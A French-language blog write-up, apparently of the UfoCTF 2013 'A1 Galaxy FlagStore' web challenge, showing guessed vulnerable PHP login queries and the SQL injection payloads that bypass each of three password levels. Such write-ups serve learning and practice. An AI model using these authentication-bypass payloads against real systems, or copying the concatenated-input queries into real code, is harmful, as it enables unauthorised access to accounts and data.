UfoCTF 2013 | Web100 (A1 Galaxy) [Write Up]

Suite à l’UfoCTF s’étant déroulé ce week-end, nous avons résolu l’épreuve « A1 Galaxy FlagStore ».
Il fallait exploiter des injections SQL pour au final arriver au dernier level (3) de sorte à récupérer le flag.

« This challenge was intended to be a warm-up » … Tu parles! Vous allez comprendre pourquoi 🙂

 

Level I

On est en présence d’un username & password.

Après avoir testé moult injections en partant des plus basiques aux plus tordues, nous avons eu l’idée de tester les injections avec des parenthèses.

Requête : $sqlLvl1 = SELECT * FROM users WHERE username = (" . $_POST['username'] . ") AND password = (" . $_POST['password'] . ") ;
Injection :  ") OR ("1") -- -
Résultat : $sqlLvl1 = SELECT * FROM users WHERE username = ("SaxX") AND password = ("") OR ("1") -- - " ) ;

Nous avons donc ainsi pu avoir accès au level 2.

 

Level II

Trois champs sont présents ici : le username, level1_password et level2_password.

Rebelotte, après plusieurs tests, nous nous sommes dit : et s’il utilisait un like dans leur requête ? (coucou le guessing)

Requête : $sqlLvl2 = SELECT * FROM users WHERE username = (" . $_POST['username'] . ")  AND level1_password = (" . $_POST['level1_password'] . ") AND level2_password LIKE '%" . $_POST['level2_password'] . "%'" ;
Injection :  %' -- -
Résultat : $sqlLvl2 = SELECT * FROM users WHERE username = ("admin1")  AND level1_password = ("MyPasswordIsNotTheFlag") AND level2_password LIKE '%%' -- - '  " ;

Et donc là, s’ouvrait à nous l’accès au level 3.

Level III

Le plus dur où le plus simple reste à faire!
5 champs ici : username, level1_password, level2_password, level3_password, level3_password_confirm,

Après une bonne heure passée encore à tester des injections, nous nous sommes rendus compte qu’il y avait des messages d’erreurs qui pour le reste n’étaient guère anodins !

En effet, suivant que l’on injectait une quote simple ( ‘ ) ou une double-quote (  » ), le message d’erreur différait !

Après une analyse plus fine, nous nous sommes imaginé ce à quoi pouvait ressembler la requête et avons trouvé un vecteur qui validerait les deux champs level3_password & level3_password_confirm.

Requête :  $sqlLvl3 = "SELECT * FROM users WHERE username = (" . $_POST['username'] . ")  AND level1_password = (" . $_POST['level1_password'] . ") AND level2_password LIKE '%"  . $_POST['level2_password'] . "%' AND level3_password = '" . $_POST['level3_password'] . "' AND level3_password_confirm = "" . $_POST['level3_password_confirm'] . ""  ;
Injection :  ' or 1  -- " or 1  --
Résultat : $sqlLvl3 = "SELECT * FROM users WHERE username = ("admin1")  AND level1_password = ("MyPasswordIsNotTheFlag") AND level2_password LIKE '%0x42%' AND level3_password = '' or 1  -- " or 1  --  ' AND level3_password_confirm = "' or 1  -- " or 1  --  "  ;

Bingo ! Accès au level 4.

 

LEVEL IV?? NO ENJOYING TIME
Un leurre en fait, le flag nous était donné un peu plus haut.

A1_Galaxy_is_sooo_vulnerable’ or 1=1 — 1337

_SaxX_

Publicités

Laisser un commentaire

Entrez vos coordonnées ci-dessous ou cliquez sur une icône pour vous connecter:

Logo WordPress.com

Vous commentez à l'aide de votre compte WordPress.com. Déconnexion / Changer )

Image Twitter

Vous commentez à l'aide de votre compte Twitter. Déconnexion / Changer )

Photo Facebook

Vous commentez à l'aide de votre compte Facebook. Déconnexion / Changer )

Photo Google+

Vous commentez à l'aide de votre compte Google+. Déconnexion / Changer )

Connexion à %s